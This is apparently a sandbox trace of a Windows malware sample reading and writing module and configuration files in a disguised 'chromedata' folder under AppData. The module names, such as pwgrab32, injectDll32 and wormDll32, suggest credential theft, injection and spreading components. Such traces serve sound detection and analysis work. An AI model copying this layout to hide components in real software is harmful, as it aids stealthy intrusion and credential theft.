Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 2
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\wormDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
